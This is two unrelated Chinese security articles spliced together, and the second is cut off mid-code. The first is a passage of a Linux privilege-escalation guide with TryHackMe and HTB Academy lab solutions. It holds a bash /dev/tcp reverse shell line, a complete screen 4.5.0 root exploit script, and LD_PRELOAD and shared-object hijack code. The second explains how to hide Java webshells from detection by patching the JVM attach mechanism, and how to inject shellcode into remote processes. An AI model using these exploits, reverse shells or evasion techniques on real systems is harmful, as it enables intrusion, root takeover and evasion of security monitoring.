6. 编译文件为动态链接文件`gcc c文件 -fPIC -shared -o /共享库/共享对象文件`
7. 执行即可反弹shell
### 利用特权组提权
1. 利用id显示看一下用户所在的特权组
例如
2. 根据特权组判断使用的提权方法
#### LXC/LXD提权
> lxc（Linux container），Linux自带的容器；
>
> lxd，简单地说，LXD 就是一个提供了 REST API 的 LXC 容器管理器
>
>
> LXD是Linux系统中用于管理LXC容器的API，提供了很多便利的命令来创建容器（container）、启动等等操作。它将为本地lxd用户组的任何用户执行任务，然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。
* LXC的特权容器挂载系统目录
启动LXD初始化，选项默认即可
导入`lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine`本地镜像（例子）
启动`security.privileged`为true的特权容器，启动没有UID映射的容器，使得容器中root用户与主机上的root用户相同`lxc
init alpine r00t -c security.privileged=true`
挂载主机文件系统`lxc config device add r00t mydev disk source=/ path=/mnt/root
recursive=true`
在容器中启动shell`lxc start r00t`和`lxc exec r00t /bin/sh`就可以以root身份连接到文件系统
* 例如：一个低权限的用户能够创建一个用于host和container通信的socket，当将host中已经创建的一个socket和container绑定后，它们之间的连接通信会以LXD服务的凭证（root权限）而不是调用用户的凭证；所以当container中发送socket和host通信时，此时host端的socket则是root权限。
具体复现查看[Linux Privilege Escalation via LXD & Hijacked UNIX Socket
Credentials](https://shenaniganslabs.io/2019/05/21/LXD-LPE.html)和中文[复现讲解](https://www.anquanke.com/post/id/179407)还有自动化利用[脚本](https://github.com/initstring/lxd_root)
#### Docker提权
docker组的本质就是无密码root身份访问主机文件
利用命令`docker run -v /root:/mnt -it
ubuntu`可以创建一个新的docker实例，以主机的`/root`目录作为系统卷启动。
容器启动后可以查看该目录内容或添加ssh密钥，更改为其他目录均可，可以结合/etc/shadow破解或添加sudoers等。
#### Disk提权
Disk组用户对`/dev`目录具有root权限
利用`debugfs -rw /dev/sda2`可以利用debugfs的root权限访问文件系统
debugfs -rw /dev/sda2
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
#### ADM提权
ADM组在Linux中用于系统监控任务，组内的用户可以读取`/var/log`的日志文件。
主要用来收集存储在日志文件中的敏感数据或枚举用户操作和运行 CronJobs。
## Linux的加固
### 更新和补丁
老版本的Linux内核和内置命令或第三方服务，通常存在利用条件简单的提权漏洞。对这些服务的定期更新和删除使用会避免一部分提权行为。
### 配置管理
1. 自查主机内的可写文件、目录和使用SUID、SGID设置的可执行文件
2. 确保所有的CronJob和sudo权限的分配都使用绝对路径指定可执行文件
3. 不将任何凭证以明文方式存储在低权限用户可读的文件中
4. 及时清理目录的文件和bash历史
5. 确保低权限用户不能修改程序调用的任何自定义共享库
6. 删除任何可能增加攻击面的软件和服务
### 用户管理
1. 限制主机用户和管理员账户的数量
2. 记录和监控对于登陆的尝试，无论成功与否
3. 利用PAM模块的`/etc/security/opasswd`执行强密码策略、定期更换密码和限制用户重复使用旧密码操作。
4. 避免用户被分配到日常任务所不必需的权限组，尽可能以最小权限原则分配限制sudo权限
5. 便于管理可以使用自动化配置管理工具等
## 关于Linux提权的工具
**一、本地扫描工具**
* <https://github.com/mi1k7ea/M7-05>
* <https://github.com/rebootuser/LinEnum>
* <https://github.com/jidongdeatao/LinuxTest>
* <https://github.com/mzet-/linux-exploit-suggester>
**二、内核漏洞查询**
* searchsploit
* searchsploit linux 2.6 ubuntu priv esc
* searchsploit Privilege Escalation
* 其他工具
**三、其他综合工具**
* <https://github.com/topics/privilege-escalation>
* <https://github.com/topics/privilege-escalation-exploits>
* <https://github.com/topics/kernel-exploitation>
* <https://github.com/topics/linux-kernel>
* <https://github.com/topics/linux-exploits>
* <https://github.com/rebootuser/LinEnum>
* <https://github.com/mzet-/linux-exploit-suggester>
* <https://github.com/topics/kernel-exploitation>
* <https://github.com/topics/linux-kernel>
* <https://github.com/topics/linux-exploits>
## THM的模块内容
### Enumeration
1. What is the hostname of the target system?
2. What is the Linux kernel version of the target system?
3. What Linux is this?
4. What version of the Python language is installed on the system?
可以利用python自带的`python -V`查看系统版本
5. What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)
利用任意方法搜索漏洞即可，一般可以利用`searchsploit`搜索
`searchsploit 3.13`
利用其中`Linux Kernel **3.13**.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) -'overlayfs' | linux/local/37292.c`这个的漏洞利用文件可以查看cve编号（`searchsploit`和`exploit-db`的库是通用的，根据poc编码规范，在文件起始位置都会标注关于漏洞的基础信息)
`searchsploit -m 37292.c`可以将文件导出到当前目录
`cat 37292.c`查看文件为`CVE-2015-1328`
### Privilege Escalation: Kernel Exploits
1. What is the content of the flag1.txt file?
通过`uname -a`可以快速获取目标主机的内核版本
利用`searchsploit 3.13`搜索内核的漏洞利用poc
利用其中`Linux Kernel **3.13**.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) -'overlayfs' | linux/local/37292.c`这个的漏洞利用文件可以查看cve编号（`searchsploit`和`exploit-db`的库是通用的，根据poc编码规范，在文件起始位置都会标注关于漏洞的基础信息)
`searchsploit -m 37292.c`可以将文件导出到当前目录
这个利用poc并未有其他相关的交互操作
利用`gcc 37292.c -o 文件名`将其编译
传到目标主机上添加可执行权限执行即可
### Privilege Escalation: Sudo
1. How many programs can the user "karen" run on the target system with sudo rights?
2. What is the content of the flag2.txt file?
3. How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?
`sudo nmap --interactive`
4. What is the hash of frank's password?
这里使用的是nano提权,`sudo nano`打开后按照下方Shell的模块操作
> It can be used to break out from restricted environments by spawning an
> interactive system shell.
>
> * nano
> ctrl r + ctrl x
> reset; sh 1>&0 2>&0
提权成功
shadow文件中复制hash值即可
### Privilege Escalation: SUID
1. Which user shares the name of a great comic book writer?
`cat /etc/passwd`可以看到`gerryconway`这个用户
2. What is the password of user2?
利用命令`find / -type f -perm -04000 -ls 2>/dev/null`
可以看到`base64`在`SUID`和`GUID`权限，可以利用`./base64 "$LFILE" | base64
--decode`命令去读取shadow文件
利用`unshadow`工具破解hash值
创建passwd和shadow文件
利用`unshadow PASSWORD-FILE SHADOW-FILE > PASSWORD`集成为一个文件
使用`john the ripper`破解`john --wordlist=/usr/share/wordlists/rockyou.txt
PASSWORD`密码为Password1
3. What is the content of the flag3.txt file?
使用`base64 /home/ubuntu/flag3.txt | base64 --decode`可以看到flag值
### Privilege Escalation: Capabilities
1. How many binaries have set capabilities?
输入`getcap -r / 2>/dev/null`
2. What other binary can be used through its capabilities?
view
3. What is the content of the flag4.txt file?
输入`./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c",
"reset; exec sh")'`就可以打开一个终端
`cat /home/ubuntu/flag4.txt`获取flag值
### Privilege Escalation: Cron Jobs
1. How many user-defined cron jobs can you see on the target system?
在`/etc/crontab`中有四个计划任务
2. What is the content of the flag5.txt file?
需要利用crontab反弹一个root的shell，在目标主机的nc命令没有-e参数，所以尝试用bash/sh反弹shell
此目标机存在`bash`命令，所以直接修改`back.sh`
修改back.sh添加`bash -i >& /dev/tcp/操作机ip/监听端口 0>&1`（记得给back.sh添加执行权限
稍等片刻即可反弹到root的shell
flag5.txt在`/home/ubuntu/`目录下，直接查看即可
3. What is Matt's password?
依旧利用unshadow和john命令去破解/etc/passwd和/etc/shadow两个文件内容
### Privilege Escalation: PATH
1. What is the odd folder you have write access for?
输入命令`find / -writeable 2>/dev/null`查看可写目录，根据Hint可知是home目录下
2. Exploit the $PATH vulnerability to read the content of the flag6.txt file.
flag文件在`/home/matt`目录下
* 直接使用命令读取flag
在`/home/murdoch`目录下，有两个文件
thm.py的文件内容为
尝试执行tset文件时提示
所以我们需要自建一个thm文件
添加当前目录或tmp目录到PATH均可，输入命令`echo "cat /home/matt/flag6.txt" > thm`
* 反弹root的shell
将thm文件的内容改成`/bin/bash`
3. What is the content of the flag6.txt file?
步骤同上
### Privilege Escalation: NFS
1. How many mountable shares can you identify on the target system?
输入命令`cat /etc/exports`
2. How many shares have the "no_root_squash" option enabled?
三个可挂载目录都开启了`no_root_squash`
3. Gain a root shell on the target system
选择任意目录挂载在攻击机中，利用c语言脚本提权
编写脚本，`gcc 脚本 -o 程序`，添加suid权限和执行权限
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
4. What is the content of the flag7.txt file?
root的shell直接`cat /home/matt/flag7.txt`
### Capstone Challenge
提权路径
命令`uname -a`查看内核版本
`searchsploit`搜索一下内核版本，有一个可利用的漏洞`Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat
/ Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege
Escalation`，目标机器也有gcc工具
也可以利用dirtycow提权，均未成功利用
命令`sudo -l`没有任何的sudo权限
crontab无信息
也没有后台运行的短时cron脚本
利用`find / -type f -perm -04000 -ls 2>/dev/null`查看SUID权限的工具，可以看到之前的base64工具
利用`base64 /etc/shadow | base64 --decode`可以看到root和missy用户都有密码可以爆破，先尝试missy的
爆破出missy的密码，后台爆破root密码无果，登陆missy查看
missy可以无密码sudo执行find
可以用find提权了
`sudo find . -exec /bin/sh \; -quit`
1. What is the content of the flag1.txt file?
`find / -name flag1.txt`
2. What is the content of the flag2.txt file?
`find / -name flag2.txt`
## HTB ACADEMY
### Kernel Exploits
1. Escalate privileges using the same Kernel exploit. Submit the contents of the flag.txt file in the /root/kernel_exploit directory.
`uname -a`查看系统内核信息为`Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12
21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux`
将`[vulners.com/zdt/1337DAY-ID-30003](https://vulners.com/zdt/1337DAY-ID-30003)`的poc下载至操作机中
利用python3的http服务将文件传输至目标机
`gcc exploit.c -o exploit`并添加执行权限利用即可
### Vulnerable Services
1. Connect to the target system and escalate privileges using the Screen exploit. Submit the contents of the flag.txt file in the /root/screen_exploit directory.
输入`find / -type f -perm 040000 -ls 2>/dev/null`查看SUID文件
可以一个漏洞`screen-4.5.0`，同时具有SUID和GUID权限
对其进行脚本提权
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
提权成功
### Cron Job Abuse
1. Connect to the target system and escalate privileges by abusing the misconfigured cron job. Submit the contents of the flag.txt file in the /root/cron_abuse directory.
查看`/etc/cron*`定时任务
其中有一个backup有读写权限
内容如下
目标机器有`/bin/bash`命令，更改`backup`文件内容即可
可以利用`find / -path /proc -prune -o -type f -perm -o+w
2>/dev/null`命令查看可写文件或目录，有一个`backup.sh`
查看文件内容可以得知这个文件是用来备份网站数据的
根据目录内文件的命名
推断可能是定时任务每2分钟执行一次脚本，backup.sh是可读写文件
修改脚本反弹shell，可以反弹属主root的shell
### Special Permissions
1. Find a file with the setuid bit set that was not shown in the section command output (full path to the binary).
利用命令`find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null`一一对比
2. Find a file with the setgid bit set that was not shown in the section command output (full path to the binary).
利用命令`find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null`一一对比
### Sudo Rights Abuse
1. What command can the htb-student user run as root?
输入命令`sudo -l`查看
### Path Abuse
1. Review the PATH of the htb-student user. What non-default directory is path of the user's PATH?
输入命令`echo $PATH`查看
### Credential Hunting
1. Find the WordPress database password.
wordpress的数据库连接配置文件是`wp-config.php`，进入网站目录即可看到
### Shared Libraries
1. Escalate privileges using LD_PRELOAD technique. Submit the contents of the flag.txt file in the /root/ld_preload directory.
在`sudo -l`中可以看到可有执行`openssl`同时存在`env_keep+=LD_PRELOAD`
利用脚本
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
同时编译后，执行`sudo LD_PRELOAD=/tmp/sudo.so /usr/bin/openssl`即可
### Shared Object Hijacking
1. Follow the examples in this section to escalate privileges, recreate all examples (don't just run the payroll binary). Practice using ldd and readelf. Submit the version of glibc (i.e. 2.30) in use to move on to the next section.
针对这个题目答案，输入`ldd --version`即可查看到GLIBC的版本号
**以下内容仅提供简单思路，有兴趣可以查看[EXploit Exercises -Nebula15](https://blog.csdn.net/luozhaotian/article/details/79819247)**
`ldd payroll`查看程序共享对象文件
`readelf
-d payroll | grep PATH`查看共享库文件夹
可以整合一个`libc.so.6`文件
#include<stdio.h>
#include<stdlib.h>
asm(".symver puts, puts@GLIBC_2.2.5");
void __cxa_finalize() {
setuid(0);
system("/bin/sh -p");
}
void __libc_start_main(){
__cxa_finalize();
}
编译文件
### Privileged Groups
1. Use the privileged group rights of the secaudit user to locate a flag.
`id`可以看到用户secaudit在adm组中，所以直接切换到`/var/log`目录
利用命令`find . | xargs grep -ri flag > /tmp/eval.txt`查看其日志中具有flag的文件
在apache的access.log文件中有请求flag的url连接
### Miscellaneous Techniques
1. Review the NFS server's export list and find a directory holding a flag.
可以直接使用账户查看`/etc/exports`
flag文件在`/var/nfs/general/`目录下
### Linux Local Privilege Escalation - Skills Assessment
> The client has provided us with a low privileged user to assess the security
> of the server. Connect via SSH and begin looking for misconfigurations and
> other flaws that may escalate privileges using the skills learned throughout
> this module.
>
> Once on the host, we must find five flags on the host, accessible at various
> privilege levels. Escalate privileges all the way from the htb-student user
> to the root user and submit all five flags to finish this module.
根据提示，查看主目录所有内容，可以看到`.config/.flag1.txt`
在`/home/barry`用户目录下有flag2.txt文件
列出用户目录所有文件，发现`.bash_history`文件可读
读取文件发现写入了ssh的密钥
利用ssh登陆barry用户
获取第二个flag值
因为没有密码，查看不了`sudo -l`，查看id的时候发现barry用户是adm组的
可以看看`/var/log`的信息，在tomcat的日志信息中可以查看到请求flag3.txt的链接
在`/var/log`目录下有`flag3.txt`文件
有个`blog.inlanefreight.local`需要在hosts文件中指向ip
`netstat -anptl`看到有个8080端口
访问可以看到tomcat的页面，有指向管理界面的链接
在其描述中的`/var/lib/tomcat9`有flag4文件，但需要提权到`tomcat`用户
`Users are defined in /etc/tomcat9/tomcat-users.xml.`
这个描述的文件夹可以看到
用户`tomcatadm`出现在日志中登陆，密码为`T0mc@t_s3cret_p@ss!`，成功登陆网页，无法登陆用户`tomcat`
利用`msfconsole`的tomcat模块反弹一个shell
反弹成功，获取flag值
输入`shell`，进入shell之后，`python3 -c 'import pty;
pty.spawn("/bin/bash")'`反弹一个交互式shell
`sudo -l`有一个`busctl`的无需密码的root权限
直接`sudo busctl --show-machine`即可
flag在`/root`目录下
1. Submit the contents of flag1.txt(Perform thorough enumeration of the file system as this user.)
2. Submit the contents of flag2.txt(Users are often the weakest link...)
3. Submit the contents of flag3.txt
4. Submit the contents of flag4.txt(Look at all external services running on the box.)
5. Submit the contents of flag5.txt
## Vulnhub中的Linux提权靶场练习
[作者github连接](https://github.com/rishabhkant07)
This is a Cheatsheet for CTF Challenges categorized by different Privilege
Escalation Methods
1. [Holynix: v1](https://www.hackingarticles.in/hack-the-holynix-v1-boot-2-root-challenge/)
2. [DE-ICE:S1.120](https://www.hackingarticles.in/hack-the-de-ice-s1-120-vm-boot-to-root/)
3. [21 LTR: Scene1](https://www.hackingarticles.in/hack-the-21ltr-scene-1-vm-boot-to-root/)
4. [Kioptrix : Level 1.2](https://www.hackingarticles.in/hack-the-kioptrix-level-1-2-boot2root-challenge/)
5. [Skytower](https://www.hackingarticles.in/hack-the-skytower-ctf-challenge/)
6. [Fristileaks](https://www.hackingarticles.in/hack-fristileaks-vm-ctf-challenge/)
7. [Breach 2.1](https://www.hackingarticles.in/hack-breach-2-1-vm-ctf-challenge/)
8. [Zico 2](https://www.hackingarticles.in/hack-zico2-vm-ctf-challenge/)
9. [RickdiculouslyEasy](https://www.hackingarticles.in/hack-rickdiculouslyeasy-vm-ctf-challenge/)
10. [Dina](https://www.hackingarticles.in/hack-dina-vm-ctf-challenge/)
11. [Depth](https://www.hackingarticles.in/hack-depth-vm-ctf-challenge/)
12. [The Ether: Evil Science](https://www.hackingarticles.in/hack-ether-evilscience-vm-ctf-challenge/)
13. [Basic penetration](https://www.hackingarticles.in/hack-the-basic-penetration-vm-boot2root-challenge/)
14. [DerpNStink](https://www.hackingarticles.in/hack-the-derpnstink-vm-ctf-challenge/)
15. [W1R3S.inc](https://www.hackingarticles.in/hack-the-w1r3s-inc-vm-ctf-challenge/)
16. [Bob:1.0.1](https://www.hackingarticles.in/hack-the-bob-1-0-1-vm-ctf-challenge/)
17. [The blackmarket](https://www.hackingarticles.in/hack-the-blackmarket-vm-ctf-challenge/)
18. [Violator](https://www.hackingarticles.in/hack-the-violator-ctf-challenge/)
19. [Basic Pentesting : 2](https://www.hackingarticles.in/hack-the-basic-pentesting2-vm-ctf-challenge/)
20. [Temple of Doom](https://www.hackingarticles.in/hack-the-temple-of-doom-ctf-challenge/)
21. [Wakanda : 1](https://www.hackingarticles.in/hack-the-wakanda-1-ctf-challenge/)
22. [Matrix : 1](https://www.hackingarticles.in/matrix-1-vulnhub-walkthrough/)
23. [KFIOFan : 1](https://www.hackingarticles.in/kfiofan1-vulnhub-walkthrough/)
24. [W34n3ss 1](https://www.hackingarticles.in/w34kn3ss-1-vulnhub-lab-walkthrough/)
25. [Replay : 1](https://www.hackingarticles.in/replay-1-vulnhub-lab-walkthrough/)
26. [Unknowndevice64 : 1](https://www.hackingarticles.in/unknowndevice64-v2-0-vulnhub-walkthrough/)
27. [Web Developer : 1](https://www.hackingarticles.in/web-developer-1-vulnhub-lab-walkthrough/)
28. [SP ike](https://www.hackingarticles.in/sp-ike-vulnhub-lab-walkthrough/)
29. [DC-2](https://www.hackingarticles.in/dc-2-walkthrough/)
30. [DC6](https://www.hackingarticles.in/dc6-lab-walkthrough/)
31. [Born2Root2](https://www.hackingarticles.in/born2root-2-vulnhub-walkthrough/)
32. [DC-4](https://www.hackingarticles.in/dc-4-vulnhub-walkthrough/)
33. [Development](https://www.hackingarticles.in/development-vulnhub-walkthrough/)
34. [Sputnik 1](https://www.hackingarticles.in/sputnik-1-vulnhub-walkthrough/)
35. [PumpkinRaising](https://www.hackingarticles.in/pumpkinraising-vulnhub-walkthrough/)
36. [Matrix-3](https://www.hackingarticles.in/matrix-3-vulnhub-walkthrough/)
37. [symfonos : 2](https://www.hackingarticles.in/symfonos2-vulnhub-walkthrough/)
38. [Digitalworld.local : JOY](https://www.hackingarticles.in/digitalworld-local-joy-vulnhub-walkthrough/)
39. [PumpkinFestival](https://www.hackingarticles.in/mission-pumpkin-v1-0-pumpkinfestival-vulnhub-walkthrough/)
40. [Sunset](https://www.hackingarticles.in/sunset-vulnhub-walkthrough/)
41. [Symfonos:3](https://www.hackingarticles.in/symfonos3-vulnhub-walkthrough/)
42. [Ted:1](https://www.hackingarticles.in/ted1-vulnhub-walkthrough/)
43. [CLAMP 1.0.1](https://www.hackingarticles.in/clamp-1-0-1-vulnhub-walkthrough/)
44. [Torment](https://www.hackingarticles.in/digitalworld-localtorment-vulnhub-walkthrough/)
45. [WestWild: 1.1](https://www.hackingarticles.in/westwild-1-1-vulnhub-walkthorugh/)
46. [Broken: Gallery](https://www.hackingarticles.in/broken-gallery-vulnhub-walkthrough/) | 社区文章 |
### 前言
Java技术栈漏洞目前业已是web安全领域的主流战场，随着IPS、RASP等防御系统的更新迭代，Java攻防交战阵地已经从磁盘升级到了内存里面。
在今年7月份上海银针安全沙龙上，我分享了《Java内存攻击技术漫谈》的议题，个人觉得PPT承载的信息比较离散，技术类的内容还是更适合用文章的形式来分享，所以一直想着抽时间写一篇和议题配套的文章，不巧赶上南京的新冠疫情，这篇文章拖了一个多月才有时间写。
### allowAttachSelf绕过
Java的instrument是Java内存攻击常用的一种机制，instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能，比如通过instrument动态注入内存马。但是在Java9及以后的版本中，默认不允许SelfAttach：
Attach API cannot be used to attach to the current VM by default
The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change.
也就是说，系统提供了一个jdk.attach.allowAttachSelf的VM参数，这个参数默认为false，且必须在Java启动时指定才生效。
编写一个demo尝试attach自身PID，提示Can not attach to current VM，如下：
经过分析attch API的执行流程，定位到如下代码：
由上图可见，attach的时候会创建一个HotSpotVirtualMachine的父类，这个类在初始化的时候会去获取VM的启动参数，并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中，恰好这个属性是个静态属性，所以我们可以通过反射动态修改这个属性的值。构造如下POC：
Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
Field modifiersField=Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.setBoolean(null,true);
由于ALLOW_ATTACH_SELF字段有final修饰符，所以在修改ALLOW_ATTACH_SELF值的同时，也需要把它的final修饰符给去掉（修改的时候，会有告警产提示，不影响最终效果，可以忽略）。修改后，可以成功attach到自身进程，如下图：
这样，我们就成功绕过了allowAttachSelf的限制。
### 内存马防检测
随着攻防热度的升级，内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类：
* Agent型
利用instrument机制，在不增加新类和新方法的情况下，对现有类的执行逻辑进行修改。JVM层注入，通用性强。
* 非Agent型
通过新增一些Java
web组件（如Servlet、Filter、Listener、Controller等）来实现拦截请求，从而注入木马代码，对目标容器环境有较强的依赖性，通用性较弱。
由于内存马技术的火热，内存马的检测也如火如荼，针对内存马的检测，目前业界主要有两种方法：
* 基于反射的检测方法
该方法是一种轻量级的检测方法，不需要注入Java进程，主要用于检测非Agent型的内存马，由于非Agent型的内存马会在Java层新增多个类和对象，并且会修改一些已有的数组，因此通过反射的方法即可检测，但是这种方法无法检测Agent型内存马。
* 基于instrument机制的检测方法
该方法是一种通用的重量级检测方法，需要将检测逻辑通过attach
API注入Java进程，理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测，java.lang.instrument是Java
1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制，这种机制广泛应用于各种Java性能检测框架、程序调试框架，如JProfiler、IntelliJ
IDE等，当然近几年比较流行的RASP也是基于此类技术。
既然通过instrument机制能检测到Agent型内存马，那我们怎么样才能避免被检测到呢？答案比较简单，也比较粗暴，那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理，检测软件无法attach，自然也就无法检测。
首先，我们先分析一下instrument的工作流程，如下图：
1. 检测工具作为Client，根据指定的PID，向目标JVM发起attach请求；
2. JVM收到请求后，做一些校验（比如上文提到的jdk.attach.allowAttachSelf的校验），校验通过后，会打开一个IPC通道。
3. 接下来Client会封装一个名为AttachOperation的C++对象，发送给Server端；
4. Server端会把Client发过来的AttachOperation对象放入一个队列；
5. Server端另外一个线程会从队列中取出AttachOperation对象并解析，然后执行对应的操作，并把执行结果通过IPC通道返回Client。
由于该套流程的具体实现在不同的操作系统平台上略有差异，因此接下来我分平台来展开。
#### windows平台
通过分析定位到如下关键代码：
可以看到当var5不等于0的时候，attach会报错，而var5是从var4中读取的，var4是execute的返回值，跟入execute，如下：
可以看到，execute方法又把核心工作交给了方法enqueue，这个方法是一个native方法，如下图：
继续跟入enqueue方法：
可以看到enqueue中封装了一个DataBlock对象，里面有几个关键参数:
strcpy(data.jvmLib, "jvm");
strcpy(data.func1, "JVM_EnqueueOperation");
strcpy(data.func2, "_JVM_EnqueueOperation@20");
以上操作都发生在Client侧，接下来我们转到Server侧，定位到如下代码：
这段代码是把Client发过来的对象进行解包，然后解析里面的指令。经常写Windows
shellcode的人应该会看到两个特别熟悉的API：GetModuleHandle、GetProcAddress，这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和_JVM_EnqueueOperation@20的两个导出函数，这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。
到这里我想大家应该知道接下来该怎么做了，那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉，不就可以成功把instrument的流程给破坏掉了么？
静态分析结束了，接下来动态调试Server侧，定位到如下位置：
图中RIP所指即为JVM_EnqueueOperation函数的入口，我们只要让RIP执行到这里直接返回即可：
怎么修改呢？当然是用JNI，核心代码如下：
unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);
}
/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){
WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/
注意这里要考虑32位和64位的区别，同时要注意堆栈平衡，否则可能会导致进程crash。
到此，我们就实现了Windows平台上的内存马防检测（Anti-Attach）功能，我们尝试用JProfiler连接试一下，可见已经无法attach到目标进程了：
以上即是Windows平台上的内存马防检测功能原理。
#### Linux平台
在Linux平台，instrument的实现略有不同，通过跟踪整个流程定位到如下代码：
可以看到，在Linux平台上，IPC通信采用的是UNIX Domain Socket，因此想破坏Linux平台下的instrument
attach流程还是比较简单的，只要把对应的UNIX Domain Socket文件删掉就可以了。
删掉后，我们尝试对目标JVM进行attach，便会提示无法attach：
到此，我们就实现了Linux平台上的内存马防检测（Anti-Attach）功能，当然其他*nix-like的操作系统平台也同样适用于此方法。
最后说一句，内存马防检测，其实可以在上述instrument流程图中的任意一个环节进行破坏，都可以实现Anti-Attach的效果。
### Java原生远程进程注入
在Windows平台上，进程代码注入有很多种方法，最经典的方法要属CreateRemoteThread，但是这些方法大都被防护系统盯得死死的，比如我写了如下一个最简单的远程注入shellcode的demo：
往当前进程里植入一个弹计算器的shellcode，编译，运行，然后意料之中出现如下这种情况：
但是经过分析JVM的源码我发现，在Windows平台上，Java在实现instrument的时候，出现了一个比较怪异的操作。
在Linux平台，客户端首先是先和服务端协商一个IPC通道，然后后续的操作都是通过这个通道传递AttachOperation对象来实现，换句话说，这中间传递的都是数据，没有代码。
但是在Windows平台，客户端也是首先和服务端协商了一个IPC通道（用的是命名管道），但是在Java层的enqueue函数中，同时还使用了CreateRemoteThread在服务端启动了一个stub线程，让这个线程去在服务端进程空间里执行enqueue操作：
这个stub执行体pCode是在客户端的native层生成的，生成之后作为thread_func传给服务端。但是，虽然stub是在native生成的，这个stub却又在Java层周转了一圈，最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。
这样就形成了一个完美的原生远程进程注入，构造如下POC：
import java.lang.reflect.Method;
public class ThreadMain {
public static void main(String[] args) throws Exception {
System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
//hProcess=getHandleByPid(30244);
byte buf[] = new byte[] //pop calc.exe
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
